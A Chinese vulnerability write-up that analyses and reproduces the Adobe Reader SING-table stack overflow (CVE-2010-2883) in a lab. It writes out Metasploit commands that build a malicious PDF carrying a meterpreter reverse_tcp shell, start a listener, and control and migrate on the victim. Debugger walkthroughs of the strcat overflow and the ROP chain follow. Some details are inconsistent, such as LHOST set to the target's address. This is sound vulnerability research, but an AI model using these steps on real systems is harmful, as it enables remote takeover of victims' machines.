查看原文
其他

CVE-2010-2883漏洞分析与复现

Sal_Tay 看雪学苑 2022-07-01

本文为看雪论坛优秀文章
看雪论坛作者ID:Sal_Tay



1


漏洞信息

1、漏洞简述

  • 漏洞名称:Adobe Reader TTF字体SING表栈溢出漏洞
  • 漏洞编号:CVE-2010-2883
  • 漏洞类型:栈溢出
  • 漏洞影响:信息泄露
  • CVSS评分:9.3(High)
  • 利用难度:Medium
  • 基础权限:不需要


2、组件概述


Adobe Reader是美国Adobe公司开发的非常流行的PDF文件阅读器。
 
pdf中带有TTF字体Smart INdependent Glyphlets (SING)表的UniqueName成员在CoolType.dll中执行一次strcat函数。

3、漏洞利用


Adobe Reader 9.3.4之前的版本的CoolType.dll中存在基于栈的缓冲区溢出漏洞函数strcat,在执行时会将pdf文件的SING表的UniqueName字符串拷贝进栈中,并且不检查字符串长度。

4、漏洞影响


Windows、Macintosh和UNIX系统下Adobe Reader 9.3.4 之前的版本。


5、解决方案


官方的安全更新方案是更新软件。
 
官方文档链接:
https://www.adobe.com/support/security/bulletins/apsb10-21.html


2


漏洞复现


1、环境搭建

  • 靶机环境:Windows XPx86 SP3
  • 靶机配置:192.168.44.153:8888
  • 攻击机环境:Kali Linux 2021.2
  • 攻击机配置:192.168.44.152


2、复现过程


(1) Kali中启动Metasploit生成木马文件
搜索Adobe渗透模块 msf > search adobe_cooltype_sing调用渗透模块 msf > use exploit/windows/fileformat/adobe_cooltype_sing/


调用meterpreter载荷,反向连接到渗透机 msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp 设置Kali Linux的IP地址 msf exploit(adobe_cooltype_sing) > set LHOST 192.168.44.153 设置本地监听端口 msf exploit(adobe_cooltype_sing) > set LPORT 8888 设置PDF文件名称msf exploit(adobe_cooltype_sing) > set FILENAME PINGINGLAB.pdf 生成PDF文件msf exploit(adobe_cooltype_sing) > exploit

 
(2) 将PDF木马文件发送至靶机


(3) Metasploit开启shell监听会话,等待靶机打开pdf
使用handler监听模块 msf > use exploit/multi/handler 回弹一个tcp连接 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 设置监听IP地址(跟PDF木马文件一致) msf exploit(handler) > set LHOST 192.168.44.153设置监听的端口(跟PDF木马文件一致) msf exploit(handler) > set LPORT 8888 开启监听 msf exploit(handler) > exploit

 
(4) 靶机中运行pdf,系统会出现卡顿
 
 
(5) Metasploit获取shell会话,并用Meterpreter控制靶机
查看系统信息 meterpreter > sysinfo截屏 meterpreter > screenshot


 
(6) 切换进程
 
这个漏洞利用过程,adobe reader会“卡壳”退出,所以需要快速切换到其他系统进程,这样会话才不会丢失。
获取进程 meterpreter > ps 切换进程meterpreter > migrate 872




3


漏洞分析


1、基本信息

  • 漏洞文件:低于9.3.4版本的Adobe Reader
  • 漏洞函数:strcat()
  • 漏洞对象:SING表的UniqueName成员


2、背景知识


(1) 栈溢出


程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖。

(2) ROP技术


面向返回编程(英语:Return-Oriented Programming,缩写:ROP)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。

3、详细分析


(1) 基础分析


pdf文件中的SING表:
 
pdf文件中包含一个TTF字体文件,其包含一个SING表,以'SING'签名开始,使用PdfStreamDumper.exe查看恶意pdf文件,能够找到SING表的TableEntry:
 
 
TableEntry的结构是这样的:
typedef sturct{char tag[4];ULONG checkSum;ULONG offset;//相对文件的偏移ULONG length;//数据长度为0x1DDF}TableEntry;

其中offset成员指向ttf文件中SING表的起始地址,在这个pdf中时0x11c:
 

SING表的结构如下所示:
 
 
根据结构计算,UniqueName成员应为SING表+0x10处,也就是图中所示:
 
 
而这部分数据会被作为strcat()函数的第二个参数传入栈中了,直到出现字符串截断符0x11。


(2) 静态分析


① Ida分析


strcat()函数位于Adobe Reader的安装目录中的CoolType.dll文件中,使用Ida打开改文件,shift+F12搜索“SING”字符串,发现在引用该字符串(0x0803DD74)下方不远处就能找到strcat()函数(0x0803DDAB):
 
 
按F5将其转为C代码查看,发现在strcat()处将一个指针变量+0x10的字符串入栈说明这个变量就是sing表的基地址,而+0x10位置便是UniqueName成员的地址。
 

② 补丁Diff


下载AdobeReader 9.4.0提取CoolType.dll,定位到相同的位置。
 
 
这里不是调用strcat,而是sub_813391E,跟进:
 
 
可以看到在使用strcat函数前增加了参数字符串长度判断。

③ 漏洞函数分析


具体的漏洞函数功能、触发条件、源代码分析。

(3) 动态分析


打开AdobeReader.exe,使用OD附加到进程,ctrl+G搜索“SING”字符串的地址0x0803DD74,设置断点。
 
 
按F9让pdf阅读器先运行初始化,然后打开用msf生成的恶意pdf文件(运行过程中出现卡顿和报错是正常现象,不需要理会),在“SING”字符串的地址不远处找到strcat函数的调用,设置断点。
 
动态分析strcat函数之前这段代码,其功能是检查pdf中是否包含SING表,并解析SING表,获取其UniqueName成员:
0803DD74 68 4CDB1908 push CoolType.0819DB4C ; ASCII 53,"ING", "SING"0803DD79 57 push edi ; edi入栈0803DD7A 8D4D DC lea ecx,dword ptr ss:[ebp-0x24] ; ecx保存变量指针0803DD7D E8 843DFEFF call CoolType.08021B06 ; 通过变量保存一个值,实际上是返回了SING表的地址0803DD82 8B45 DC mov eax,dword ptr ss:[ebp-0x24] ; 把这个SING表地址赋给eax0803DD85 3BC6 cmp eax,esi ; 此时esi为0,与eax比较,意思是判断SING表是否有效0803DD87 C645 FC 02 mov byte ptr ss:[ebp-0x4],0x2 0803DD8B 74 37 je short CoolType.0803DDC4 ; jump equal 0的意思,前面比较不为零,不跳转0803DD8D 8B08 mov ecx,dword ptr ds:[eax] ; 取双字节的EAX所指的地址的内存内容,赋值给ECX,此处内容为0X00010000,应该是SING表版本号0803DD8F 81E1 FFFF0000 and ecx,0xFFFF ; 将0x00010000与0x0000FFFF与或位运算,得00803DD95 74 08 je short CoolType.0803DD9F ; 上一步比较得0,此处跳转0803DD97 81F9 00010000 cmp ecx,0x1000803DD9D 75 21 jnz short CoolType.0803DDC00803DD9F 83C0 10 add eax,0x10 ; eax存储sing表的基地址,因此加0x10为UniqueName结构0803DDA2 50 push eax ; UniqueName地址入栈0803DDA3 8D45 00 lea eax,dword ptr ss:[ebp] ; 将EBP所指的地址的内存内容,赋值给EAX0803DDA6 50 push eax ; EAX入栈0803DDA7 C645 00 00 mov byte ptr ss:[ebp],0x0 ; 将EBP所指的内容赋值为00803DDAB E8 483D1300 call <jmp.&MSVCR80.strcat> ; 调用strcat

让程序执行,并步过strcat这个函数,此时查看栈窗口:
 
 
返回地址已经被覆盖为0x4A82A714,查看该地址的反汇编窗口:
 
 
对应指令为pop esp;ret;
 
此处用到了ROP技术绕过DEP,执行这两条指令的作用是将栈中跳转地址的下一地址的内容(此处为0x0C0C0C0C)赋值给esp,产生的作用等同于 mov esp,0x0C0C0C0C;此时的esp被修改为0x0c0c0c0c,这时就将代码执行流引导至地址0x0C0C0C0C处。
 
 
0x0C0C0C0C处是一个ROP链,这个链是在程序执行JavaScript时实现的HeapSpray而写入的,这个JavaScript的二进制数据也存在于pdf中,是精心构造出来的。
 
继续跟进ROP链,看到先后调用函数CreateFile 、CreateFileMapping、MapOfViewMap创建了文件iso88591:
 




使用memcpy函数将shellcode复制到了0x03F4000处:
 


4


缓解措施


1、更新Adobe Reader版本至高于9.4.0以上。

2、不打开来源不明的pdf。


5


参考文献

知乎:CVE-2010-2883 Adobe Reader 打开pdf电脑即刻中招
https://zhuanlan.zhihu.com/p/35249958 

bilibili:CVE-2010-2883解析
https://www.bilibili.com/video/BV1Fi4y1V75L?from=search&seid=8966098512691197727 

CSDN:CEV-2010-2883 Adobe Reader漏洞复现
https://blog.csdn.net/weixin_41713281/article/details/79869710 


第一次分析实际漏洞,文中有些知识点没有仔细分析,比如JavaScript实现的HeapSpary,还有ROP链将shellcode写入内存后的shellcode行为分析,还请大佬们不吝赐教!


 


看雪ID:Sal_Tay

https://bbs.pediy.com/user-home-917290.htm

*本文由看雪论坛 Sal_Tay 原创,转载请注明来自看雪社区





# 往期推荐

1. D-Link DIR-645路由器溢出分析

2. API 钩取:逆向分析之“花”

3.Ring3注入学习:导入表注入

4. 新人PWN入坑总结

5. 新人PWN堆Heap总结

6. 如何利用栈溢出漏洞



公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存